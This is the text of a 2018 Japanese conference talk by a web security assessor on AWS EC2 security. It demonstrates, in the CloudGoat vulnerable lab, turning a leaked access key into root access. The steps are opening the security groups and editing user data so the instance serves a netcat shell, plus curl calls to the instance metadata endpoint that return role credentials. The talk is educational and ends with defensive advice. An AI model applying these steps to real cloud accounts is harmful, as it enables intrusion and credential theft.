20181103 JAWS FESTA OSAKAでの登壇資料 【AWS初心者がEC2を触って感じた事】 EC2インスタンスにSSRFやOSコマンドインジェクションでメタデータを取得してみた 20181103 JAWS FESTA OSAKA Web Security AWS Cloud Goat　Beginner SSRF

1. Webセキュリティエンジニア
から見る
AWSセキュリティ

2. 注意事項
・インターネットに繋がっている場合、
絶対に外部に向けて攻撃を実行しないように注意
・本資料で習得した技術を悪用、または不正に使用しないこと
⁃ 不正アクセス行為の禁止等に関する法律
⁃ http://law.e-gov.go.jp/htmldata/H11/H11HO128.html
本資料の内容を利用して発生したいかなる損害に対しても、弊社および著
作者は一切責任を負いません。

3. 自己紹介
【名前】
安達 智弘(Adachi Tomohiro)
【会社】
株式会社 神戸デジタル・ラボ
セキュリティ事業部
【取り組み】
Webアプリケーションの
脆弱性診断業務に従事。
ピカピカのエンジニア１年生

4. 自己紹介
【名前】
安達 智弘(Adachi Tomohiro)
【会社】
株式会社 神戸デジタル・ラボ
セキュリティ事業部
【コミュニティ】
・大和セキュリティ
・神戸脆弱性診断の会

5. ある日・・
ちょっと
JAWS登壇してみない?^^

6. 超ホワイトな職場
※弊社のエイプリルフール企画です

7. AWS全く分からない・・

8. サービスめっちゃ多っ
まずはEC2からやろ・・

9. 本セッションの要約
WEBの脆弱性診断士が
初めてAWS(EC2)を触ってみて
セキュリティについて考えてみた

10. 本セッションの要約
■ポリシーの壁にぶち当たった話
■実際に脆弱なAWS環境へ攻撃した話
■攻撃から見えたもの

11. AWSを守る方法は
ググると山ほど出てくる

12. でも実際どんな
攻撃受けるのかって分からない

13. 対策方法知りつつ
攻撃サンプルも知りたい

14. でも世の中では
“やってしまった話”
が絶えない・・・

15. ひぃぃぃぃぃぃい

16. こうなった原因・・
アクセスキーの流出

17. AWSへのアクセス方法
アクセス方法 認証方法
マネジメントコンソール
メールアドレス＋パスワード
or
ユーザ名＋パスワード
AWS CLI IAMユーザのアクセスキー
or
一時的なアクセスキー

18. AWS CLIの設定
クレデンシャル情報(IAMユーザのアクセスキー)を
登録すると、コンソールからアクセス可能

19. 流出の過程
ソースへのアクセスキーのハードコードが原因
参考：http://hamafrog.com/aws/

20. アクセスキーの特徴
先頭文字が決まってて見つけやすい

21. ほぇぇぇぇぇぇえ
参考：https://qiita.com/saitotak/items/813ac6c2057ac64d5fef

22. もちろん対策の方法がある

23. IAMロールを使用して
一時的な認証情法を取得する

24. ポリシーってどういうこと・・

25. 避けては通れない
ポリシーの概念

26. ポリシーとは・・？
アクセス制御の事
(ルール的な感じ)

27. ポリシーとは・・？
参考：https://docs.aws.amazon.com/ja_jp/IAM/latest/UserGuide/access_policies.html

28. IAMポリシーの図(1)
ポリシー IAM
ポリシー

29. まだ分けられる

30. IAMポリシーの種類
・管理ポリシー
・インラインポリシー

31. IAMポリシーの図(2)
ポリシー IAM
ポリシー
管理
ポリシー
インライン
ポリシー

32. まだまだ分けられる

33. 管理ポリシーの種類
・AWS管理ポリシー
・カスタマー管理ポリシー

34. ポリシーの図(3)
ポリシー IAM
ポリシー
管理
ポリシー
インライン
ポリシー
カスタマー管理
ポリシー
AWS管理
ポリシー

35. AWS管理ポリシー
AWSが準備している
デフォルトで
用意されている物

36. カスタマー管理ポリシー
ユーザが独自に
作成しているポリシー
通常のadmin権限に
IP制限を付けたポリシー
とか作れる

37. インラインポリシー
IAMユーザへ個別に設定されているポリシー
・ポリシーとして登録されない
・ユーザごとに設定できる
・管理ポリシーの内容変更に影響されない設定が可能

38. プリンシパルエンティティに
付与して制御する

39. プリンシパルエンティティ
ポリシーを与えられる対象のこと

40. プリンシパルエンティティ
IAMポリシー
IAMユーザ IAMグループ IAMロール

41. IAMユーザへのポリシー付与
IAMユーザポリシー
EC2
付与

42. IAMグループの作成(1/2)
IAMグループポリシー
EC2
S3
付与

43. IAMグループの作成(2/2)
IAMユーザIAMグループ
EC2
S3
所属

44. セキュリティを考えると
必須な”ロール”

45. IAMロールを作成
IAMロールポリシー
S3
付与

46. 作成したIAMロールをアタッチ
IAMロール
S3
割り当て
EC2
インスタンス

47. 作成したIAMロールをアタッチ
EC2
インスタンス
S3
S3権限ゲットだぜ！

48. IAMロールの特徴
ロールに付与されている権限を
“一時的に”使うことが出来る

49. 認証情報を得る

50. IAMロールのメリット
ソース内にクレデンシャル情報を
ハードコードすることなく
他AWSサービスへのアクセス権を得る

51. EC2インスタンス内から取得する方法
EC2
インスタンス
インスタンスが
自分自身(169.254.169.254)
に問い合わせることで
メタデータを取得する仕組
みがある。
(例)
$ curl
http://169.254.169.254/
latest/meta-data

52. EC2インスタンス内から取得する方法
EC2
S3
インスタンス
この仕組みを利用して
S3の権限を持つロールが
割り当てているインスタンスで
メタデータを取得する。
(例)
$ curl
http://169.254.169.254/
latest/meta-data/
iam/security-credentials/ロール名

53. インスタンス内で実行してみる
このキーにS3の権限がある

54. ここからが本日の本題

55. 対策方法知りつつ
攻撃サンプルも知りたい

56. 実際に攻撃者目線で
検証してみた

57. Cloud Goat
Rhino Security Labsの
脆弱なAWS環境を構築する
オープンソースソフトウェア。
今回はこれを使用して構築した
脆弱な環境へ
攻撃を仕掛けてみた

58. この検証のシナリオ
～とある日～
ソース内にアクセスキーをハードコードしたまま、
Githubへプッシュしちゃいました^^
案の定、鍵が抜かれました><

59. さっそくやってみる
まずは盗んだ
キーの登録から始めましょう

60. 作業者のプロファイル作成
$ aws configure --profile xxx
AWS CLIを使用する上での、クレデンシャル情報の登録
今後、アクセスキーの持ち主であるIAMユーザの権限で作業する

61. 次にやりたい事
このキーには
どんな権限があるのか？

62. 権限を確認してみる
$ ./nimbostratus dump-permissions --access-key=xxx --
secret-key=yyy
EC2に関する
権限がある

63. 攻撃の目標
稼働しているインスタンスの
root権限奪取

64. EC2の情報を確認する
権限があるからやってみる

65. EC2の情報の取得
$ aws --profile adachi ec2 describe-instances

66. EC2の情報の取得
$ aws --profile adachi ec2 describe-instances

67. セキュリティグループ一覧の
確認権限があるからやってみる

68. セキュリティグループの確認(1/3)
$ aws --profile adachi
ec2 describe-security-groups
「Tcp 80」が解放される
現在のセキュリティグループ

69. セキュリティグループの確認(2/3)
$ aws --profile adachi
ec2 describe-security-groups
「Tcp 22」が解放される

70. セキュリティグループの確認(3/3)
$ aws --profile adachi
ec2 describe-security-groups
「Tcp 0-65535」が解放される
これだと好き勝手できそう！

71. セキュリティグループの
変更権限があるからやってみる

72. セキュリティグループ変更
$ aws --profile adachi ec2 modify-instance-attribute
--instance-id i-xxxxxxxxxxxxxxxx
--groups sg-xxxxxxxxxxxxxxxxx
これで任意のポートが使えるようになった！

73. 準備ができたので
さあ、Let’s Hack

74. ユーザデータ(1/2)
参考：https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/user-data.html
実行時に任意のスクリプトを走らせる

75. ユーザデータ(2/2)
参考：https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/user-data.html
root権限でコマンドを実行できる・・！

76. これは悪用できる匂いしかしない・・！
この機能を使って
root権限を取得しましょう

77. ユーザデータの取得
$ aws --profile adachi ec2 describe-instance-attribute
--instance-id i-xxxxxxxxxxxxxx
--attribute userData

78. ユーザデータをデコードして確認

79. ここに仕掛けてみましょう

80. ユーザデータを編集

81. インスタンスの再起動
$ aws --profile adachi ec2 stop-instances --instance-id i-
xxxxxxxxxxxxxxx
$ aws --profile adachi ec2 start-instances --instance-id i-
xxxxxxxxxxxxxxx
Netcatをインストールして
7777ポートにシェルを渡すはず

82. 再起動後、接続してみる
きたあああああああ！！！！

83. 権限のある
アクセスキーが流出すると
root権限がとれる

84. 他に考えられる攻撃
■マイニング用のインスタンス立ち上げ
■提供しているサービスの破壊
■さらに別権限を取得し攻撃

85. 今回はアクセスキーが
流失したシナリオ

86. ロールを使用した
一時アクセスキーも注意が必要

87. EC2インスタンス内から取得する方法
EC2
インスタンス
インスタンスが
自分自身(169.254.169.254)
に問い合わせることで
メタデータを取得する仕組
みがある。
(例)
$ curl
http://169.254.169.254/
latest/meta-data

88. メタデータは
内部からアクセスして得られる

89. 内部からアクセス(リクエスト)
させれば得られる

90. 想定されるWEBの脆弱性をついた攻撃
■SSRF
■ファイルインクルード攻撃
■OSコマンドインジェクション

91. OSコマンドインジェクション

92. 今回AWSでEC2を
使ってみて思った事

93. AWSのセキュリティを
どの範囲まで考えるのか

94. 参考：https://aws.amazon.com/jp/compliance/shared-responsibility-model/

95. AWSでEC2を使ってみて思った事
■AWSの機能を使用してセキュリティを担保する部分
→IAMとかセキュリティグループとか
■それ以外の部分でセキュリティが必要な部分
→インスタンス＋その上で動かしているWEBアプリ

96. AWSでEC2を使ってみて思った事
■IAMの権限は最小に
■セキュリティグループ
→ポートは必要最小に
→IP制限が必要な部分は設定

97. AWSでEC2を使ってみて思った事
■アクセスキーの管理
■webの脆弱性をついて
一時アクセスキーが漏れないよう
注意する

98. AWSでEC2を使ってみて思った事
■脆弱性診断
■WAFの導入
■IDS/IPSの導入

99. ご清聴ありがとうございました